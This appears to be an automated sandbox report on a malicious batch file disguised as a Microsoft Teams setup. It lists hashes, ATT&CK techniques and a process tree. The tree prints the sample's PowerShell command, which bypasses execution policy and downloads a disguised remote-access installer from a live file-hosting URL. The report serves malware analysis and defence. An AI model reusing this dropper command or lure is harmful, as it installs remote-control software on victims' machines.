9ee1f1a18d06962c76e366f6965ecd8d8598d347ec49c72808ef8b9fce29e689

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/04/2026, 12:17

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General

Target
MSTeams.clientsetup.bat
Size 1KB
Sample260420-pf3lcady2t
SHA256 9ee1f1a18d06962c76e366f6965ecd8d8598d347ec49c72808ef8b9fce29e689
MD5 57f53f1713ff50325967dc9df1c01ac1
SHA1 9700bd3e60a4beddb162122c1dc9d18e5d8d1973
SHA512 97ba8bcad4d02ae76f6eb27695735a8b4a3b0e4d1c813752607bef7cf1cdffc712cf8baa755c8908db4e63840545ffb72602a9bd7d13baf73665f9deb7cfc4f4
TLSH
T16431418A228AA1BE05238669C11C01FAFA9C57A3831464F835B1C481BA053DDDACB7CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://pixeldrain.com/api/file/a2rPdveC

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3524	powershell.exe
3	3524	powershell.exe
5	3524	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3524	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3524	powershell.exe
3524	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3524	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 4460	4260	cmd.exe	81
PID 4460 wrote to memory of 1280	4460	net.exe	82
PID 4260 wrote to memory of 3524	4260	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MSTeams.clientsetup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls;" "$wc = New-Object System.Net.WebClient;" "$wc.Headers['User-Agent'] = 'Mozilla/5.0';" "$wc.DownloadFile('http://pixeldrain.com/api/file/a2rPdveC','C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi');"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_3up2nvcf.qt1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3up2nvcf.qt1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3524-0-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-1-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-2-0x0000026248B20000-0x0000026248B42000-memory.dmp

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memory/3524-9-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-10-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-11-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-12-0x0000026230420000-0x000002623042C000-memory.dmp

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memory/3524-14-0x0000026248B10000-0x0000026248B20000-memory.dmp

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memory/3524-13-0x0000026230930000-0x0000026230942000-memory.dmp

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memory/3524-28-0x0000026230420000-0x000002623042C000-memory.dmp

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